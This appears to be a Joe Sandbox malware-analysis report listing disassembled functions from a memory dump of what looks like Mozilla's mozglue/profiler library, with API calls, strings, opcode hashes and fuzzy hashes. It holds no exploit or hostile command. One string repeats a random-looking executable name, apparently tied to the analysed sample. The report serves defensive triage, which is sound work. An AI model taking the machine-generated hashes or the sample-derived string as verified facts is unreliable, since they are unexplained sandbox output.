String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 2698983630-53385798
Opcode ID: c63a3320a1e044f8ea022949ac807c953cd432e944eb137ee7a7f013c97a8825
Instruction ID: dafda588a7998da5fbaa8ccefa71d0a1e23fa1bc2d558190d7f95436331bc6f8
Opcode Fuzzy Hash: c63a3320a1e044f8ea022949ac807c953cd432e944eb137ee7a7f013c97a8825
Instruction Fuzzy Hash: 9F028C76A14205DFCB14CF28C880A6ABBF5FF89344F04496CE9969B361E738E945CB91

Function 6BF4ED10 Relevance: 25.4, APIs: 16, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6BF4EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6BF4EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6BF51695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6BF516B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6BF51770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6BF51A3E

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID:
API String ID: 3693777188-0
Opcode ID: 9b24671d89752ba51b9f0a56f8764b2f8ae4cd133aa81fb2bf8c48f04449c524
Instruction ID: 78121a95caefaffc5d58ebb4263a75c145be55ea05b5f40590da917c2b9fcb82
Opcode Fuzzy Hash: 9b24671d89752ba51b9f0a56f8764b2f8ae4cd133aa81fb2bf8c48f04449c524
Instruction Fuzzy Hash: 1DB31A72E00229CFCB24CFA8C890ADDB7B2BF59304F1581A9D459AB355D734AD96CF90

Function 6BF67E10 Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 403COMMON

Download Yara Rule

Strings

(pre-xul), xrefs: 6BF67E88
data, xrefs: 6BF68280, 6BF683E1
name, xrefs: 6BF67ECF, 6BF68335
schema, xrefs: 6BF681E3, 6BF68311

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema
API String ID: 3412268980-999448898
Opcode ID: d082075525d6a850d193cbc9a2a8f693cee20329c7f51d4f8817cba194cb8499
Instruction ID: b0eaf19f57516811699cb8bd61dd45dd2afa61b9ad6cbb79331de79a321c5e09
Opcode Fuzzy Hash: d082075525d6a850d193cbc9a2a8f693cee20329c7f51d4f8817cba194cb8499
Instruction Fuzzy Hash: 12E1B0B2A003518BD714CF78884161BFBEAFF85354F15892DE895D73A0DBB8DD058B92

Function 6BF4D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6BFAE784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6BF5D1C5), ref: 6BF4D4F2
LeaveCriticalSection.KERNEL32(6BFAE784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6BF5D1C5), ref: 6BF4D50B

Part of subcall function 6BF2CFE0: EnterCriticalSection.KERNEL32(6BFAE784), ref: 6BF2CFF6
Part of subcall function 6BF2CFE0: LeaveCriticalSection.KERNEL32(6BFAE784), ref: 6BF2D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6BF5D1C5), ref: 6BF4D52E
EnterCriticalSection.KERNEL32(6BFAE7DC), ref: 6BF4D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6BF4D6A6
LeaveCriticalSection.KERNEL32(6BFAE7DC), ref: 6BF4D712
LeaveCriticalSection.KERNEL32(6BFAE784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6BF5D1C5), ref: 6BF4D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6BF4D7EA

Strings

: (malloc) Error initializing arena, xrefs: 6BF4D82C
<jemalloc>, xrefs: 6BF4D827

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 70e4cb2311138b746bcb9e4e134a06c2dba93a2eff307b92fbcb741783930b90
Instruction ID: 5c439a159a6724258cb6bdc81ce328c39e054950a514aeccfb4cedf315e0dbbc
Opcode Fuzzy Hash: 70e4cb2311138b746bcb9e4e134a06c2dba93a2eff307b92fbcb741783930b90
Instruction Fuzzy Hash: B691C577A54701CFD718CF28C49072ABBE1EB85714F14892EE56AC76A2DB38EC44CB51

Function 6BF84EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6BF84EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6BF84F2E
moz_xmalloc.MOZGLUE ref: 6BF84F52
memset.VCRUNTIME140(00000000,00000000), ref: 6BF84F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6BF852B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6BF852E6
Sleep.KERNEL32(00000010), ref: 6BF85481
free.MOZGLUE(?), ref: 6BF85498

Strings

(, xrefs: 6BF85250

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: d20e5b06a9d5da753f8f4aa895b757d4ee624bfe35d2fdf1ce7ccf71aa664973
Instruction ID: 87a91297297ac8e2982bd70208439cefb0da698d4bb63de73c2320ed51306e2b
Opcode Fuzzy Hash: d20e5b06a9d5da753f8f4aa895b757d4ee624bfe35d2fdf1ce7ccf71aa664973
Instruction Fuzzy Hash: 93F1B472A28B418FC716DF39C85062BB7E5AFD6384F05872EF846E7261DB31D4468B81

Function 6BF37810 Relevance: 15.4, APIs: 12, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6BFAE744), ref: 6BF37885
LeaveCriticalSection.KERNEL32(6BFAE744), ref: 6BF378A5
EnterCriticalSection.KERNEL32(6BFAE784), ref: 6BF378AD
LeaveCriticalSection.KERNEL32(6BFAE784), ref: 6BF378CD
EnterCriticalSection.KERNEL32(6BFAE7DC), ref: 6BF378D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6BF378E9
EnterCriticalSection.KERNEL32(00000000), ref: 6BF3795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6BF379BB
LeaveCriticalSection.KERNEL32(?), ref: 6BF37BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6BF37C82
LeaveCriticalSection.KERNEL32(6BFAE7DC), ref: 6BF37CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6BF37DAF

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID:
API String ID: 759993129-0
Opcode ID: aa61f81870ffc28bdda11bf9e490e4f3025fdcf9903024d419e046f1c3171258
Instruction ID: 8fde750453db0c0de202724ba2843e90a4c72b2af5b9700604c64f1274869468
Opcode Fuzzy Hash: aa61f81870ffc28bdda11bf9e490e4f3025fdcf9903024d419e046f1c3171258
Instruction Fuzzy Hash: 24024F72A1122ACFDB54CF18C994B99B7B5FF48314F1582EAD809A7325D734AE91CF80

Function 6BF65190 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 331timeCOMMON

Download Yara Rule

APIs

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6BF651DF
?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6BF6529C
?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,00000000), ref: 6BF652FF
?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6BF6536D
?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6BF653F7

Part of subcall function 6BF5AB89: EnterCriticalSection.KERNEL32(6BFAE370,?,?,?,6BF234DE,6BFAF6CC,?,?,?,?,?,?,?,6BF23284), ref: 6BF5AB94
Part of subcall function 6BF5AB89: LeaveCriticalSection.KERNEL32(6BFAE370,?,6BF234DE,6BFAF6CC,?,?,?,?,?,?,?,6BF23284,?,?,6BF456F6), ref: 6BF5ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_RECORD_OVERHEADS), ref: 6BF656C3
__Init_thread_footer.LIBCMT ref: 6BF656E0

Strings

MOZ_PROFILER_RECORD_OVERHEADS, xrefs: 6BF656BE

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: BaseDurationPlatformSeconds@TimeUtils@mozilla@@$CriticalSection$EnterInit_thread_footerLeavegetenv
String ID: MOZ_PROFILER_RECORD_OVERHEADS
API String ID: 1227157289-345010206
Opcode ID: cbc9de731b74003a491acfdd312822dd06d03d5524e55b6d6db7529d015a9df2
Instruction ID: 51839cc8f70047da6f857b070cddf8aaf9e16042ad90a5cddf057c17534cd411
Opcode Fuzzy Hash: cbc9de731b74003a491acfdd312822dd06d03d5524e55b6d6db7529d015a9df2
Instruction Fuzzy Hash: 17E18076814F49CAC712DF34C850227B7B6BF9B380F109B4EE8AE3A561EB34D4568711

Function 6BF87030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6BF87046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6BF87060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6BF8707E

Part of subcall function 6BF381B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6BF381DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6BF87096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6BF8709C
LocalFree.KERNEL32(?), ref: 6BF870AA

Strings

(null), xrefs: 6BF8706A, 6BF87083
### ERROR: %s: %s, xrefs: 6BF87087

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: 1419ca66e133830ffecb45ca9b849f5b0a8f4ac438108e5fe4622b257ef73ccb
Instruction ID: 1522377317abdff68c504cbe9a5a2672e35953212f8824f0a9b8794907a7daa1
Opcode Fuzzy Hash: 1419ca66e133830ffecb45ca9b849f5b0a8f4ac438108e5fe4622b257ef73ccb
Instruction Fuzzy Hash: 3701B9B2910108EFDB086BB8DC4EEAF7BBCEF49255F050424FA05E3152D675A9188BA1

Function 6BF72C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6BF72C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6BF72C61

Part of subcall function 6BF24DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6BF24E5A
Part of subcall function 6BF24DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6BF24E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6BF72C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6BF72E2D

Part of subcall function 6BF381B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6BF381DE

Strings

ProfileBuffer parse error: %s, xrefs: 6BF72E3B
(root), xrefs: 6BF7354F
expected a Time entry, xrefs: 6BF72E36

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: a34becee395e3ccbd1c32e5719ae3ddb7aae1b7f5b786813515c89d71bd1dc3b
Instruction ID: 66e196b4a4555992eea377d467776c265236872f443375a48403f87ec6963f8c
Opcode Fuzzy Hash: a34becee395e3ccbd1c32e5719ae3ddb7aae1b7f5b786813515c89d71bd1dc3b
Instruction Fuzzy Hash: DE9101726083418FD734EF34E48165EF7E0AF8A354F1049AEE59A8B361DB38D449CB52

Function 6BF89E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6BF89F3D
__aulldiv.LIBCMT ref: 6BF89F77
__aullrem.LIBCMT ref: 6BF89F8C
__aulldiv.LIBCMT ref: 6BF8A023

Strings

-Infinity, xrefs: 6BF89E60, 6BF89E7B
NaN, xrefs: 6BF89EAB

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: a79f540a37478a905d85bb161bb1019b163c16c947dc370ced10daf35aacb80d
Instruction ID: 14f0b3bb1db9c328cc6e98972e28880b73d5c8c9e784749f1271a6af0fc76f1d
Opcode Fuzzy Hash: a79f540a37478a905d85bb161bb1019b163c16c947dc370ced10daf35aacb80d
Instruction Fuzzy Hash: 65C1AF33E007298BDB14CFA8C89079EB7F6FF88714F144529D406AB2A1DB79AD45CB91

Function 6BF8B910 Relevance: 9.1, APIs: 6, Instructions: 146nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 6BF39B80: GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,6BF8B92D), ref: 6BF39BC8
Part of subcall function 6BF39B80: __Init_thread_footer.LIBCMT ref: 6BF39BDB

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6BF303D4,?), ref: 6BF8B955
NtQueryVirtualMemory.NTDLL ref: 6BF8B9A5
NtQueryVirtualMemory.NTDLL ref: 6BF8BA20
RtlNtStatusToDosError.NTDLL ref: 6BF8BA7B
RtlSetLastWin32Error.NTDLL(00000000,00000000,00000000,?,00000000,?,0000001C,00000000), ref: 6BF8BA81
GetLastError.KERNEL32(00000000,00000000,00000000,?,00000000,?,0000001C,00000000), ref: 6BF8BA86

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: Error$LastMemoryQueryVirtual$InfoInit_thread_footerStatusSystemWin32rand_s
String ID:
API String ID: 1753913139-0
Opcode ID: ff768e883814622823cb694bd42f91170cb2824d4e1f31b8dd0ae5dabba7d8bc
Instruction ID: feefb748ac652aeaf9a6dc04b1ecc486197c92ecd1c79ba9e1f10bdb83def4c7
Opcode Fuzzy Hash: ff768e883814622823cb694bd42f91170cb2824d4e1f31b8dd0ae5dabba7d8bc
Instruction Fuzzy Hash: 95518D72E0021ADFDF14CFA8D881ADEF7B6EF88714F104529E911B7265DB39AD418B90

Function 6BF873E0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 23libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32.dll,?,?,6BF3434E), ref: 6BF873EB
GetProcAddress.KERNEL32(00000000,SetProcessDpiAwarenessContext), ref: 6BF87404
FreeLibrary.KERNEL32(?,?,6BF3434E), ref: 6BF87413

Strings

SetProcessDpiAwarenessContext, xrefs: 6BF873FE
user32.dll, xrefs: 6BF873E6

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: SetProcessDpiAwarenessContext$user32.dll
API String ID: 145871493-397433131
Opcode ID: 7780ca48e40f6ad50e6096c58a4e467f1074cced6cc04b13453ced898f28801d
Instruction ID: 0465f5000c848921db053820630f350bbf66750a11214536a070732e14682dac
Opcode Fuzzy Hash: 7780ca48e40f6ad50e6096c58a4e467f1074cced6cc04b13453ced898f28801d
Instruction Fuzzy Hash: 12E04F72601305DFE7142FA4D818706BBFCEB05241F008C29EA89C3321EBB5D4008B60

Function 6BF68AC0 Relevance: 7.7, APIs: 5, Instructions: 174timeCOMMON

Download Yara Rule

APIs

Part of subcall function 6BF5FA80: GetCurrentThreadId.KERNEL32 ref: 6BF5FA8D
Part of subcall function 6BF5FA80: AcquireSRWLockExclusive.KERNEL32(6BFAF448), ref: 6BF5FA99

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6BF81563), ref: 6BF68BD5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6BF81563), ref: 6BF68C3A
ReleaseSRWLockExclusive.KERNEL32(-00000018,?,?,?,?,?,?,?,?,?,?,?,6BF81563), ref: 6BF68C74
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,6BF81563), ref: 6BF68CBA
free.MOZGLUE(?), ref: 6BF68CCF

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: ExclusiveLockNow@Stamp@mozilla@@TimeV12@_free$AcquireCurrentReleaseThread
String ID:
API String ID: 2153970598-0
Opcode ID: 4aca28ee21a2c899da69e6ba522540b2afb276d4114bef4a5828440cf50927c6
Instruction ID: 5e80d5df044ede31a8c36e683eabaa5e2c4dffab089efe3358592e07cdaad979
Opcode Fuzzy Hash: 4aca28ee21a2c899da69e6ba522540b2afb276d4114bef4a5828440cf50927c6
Instruction Fuzzy Hash: 12716E76A14B018FD704CF29C58061AB7F1FF99314F458A9EED899B362E774E884CB41

Function 6BF2F280 Relevance: 7.6, APIs: 5, Instructions: 87nativelibraryloaderCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL ref: 6BF2F2B4
GetProcAddress.KERNEL32(00000000,?), ref: 6BF2F2F0
NtQueryVirtualMemory.NTDLL ref: 6BF2F308
RtlNtStatusToDosError.NTDLL ref: 6BF2F36B
RtlSetLastWin32Error.NTDLL(00000000,00000000,000000FF,?,00000000,?,0000001C,?), ref: 6BF2F371

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: ErrorMemoryQueryVirtual$AddressLastProcStatusWin32
String ID:
API String ID: 1171715205-0
Opcode ID: 4ffae1ac5d9b9ee4a237cc18cda9b2a178a61bb576dd261c1ab61ff30a3979c4
Instruction ID: 2bfbb3e4dddce59bc4b0772a90548d42ac447f9d1984e32fca7f6d6ecd4ad49a
Opcode Fuzzy Hash: 4ffae1ac5d9b9ee4a237cc18cda9b2a178a61bb576dd261c1ab61ff30a3979c4
Instruction Fuzzy Hash: F621B432A10309DBEF508AE4DD55BEF77B8EB44358F004229E520A61E0D7BCDD98CB62

Function 6BF2C9A0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 401COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6BF2C9B8
__aullrem.LIBCMT ref: 6BF2C9D5
__aulldiv.LIBCMT ref: 6BF2C9E9

Strings

cKIslZRsPjmHorcpU.exenpblASVcKIslZRsPjmHorcpU.exenpblASVcKIslZRsPjmHorcpU.exenpblASVcKIslZRsPjmHorcpU.exenpblASVcKIslZRsPjmHorcpU.exenpblASVcKIslZRsPjmHorcpU.exenpblASVcKIslZRsPjmHorcpU.exenpblASVcKIslZRsPjmHorcpU.exenpblASVcKIslZRsPjmHorcpU.ex, xrefs: 6BF2C9AF, 6BF2C9B5, 6BF2C9BD, 6BF2C9CD, 6BF2C9D2

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID: cKIslZRsPjmHorcpU.exenpblASVcKIslZRsPjmHorcpU.exenpblASVcKIslZRsPjmHorcpU.exenpblASVcKIslZRsPjmHorcpU.exenpblASVcKIslZRsPjmHorcpU.exenpblASVcKIslZRsPjmHorcpU.exenpblASVcKIslZRsPjmHorcpU.exenpblASVcKIslZRsPjmHorcpU.exenpblASVcKIslZRsPjmHorcpU.ex
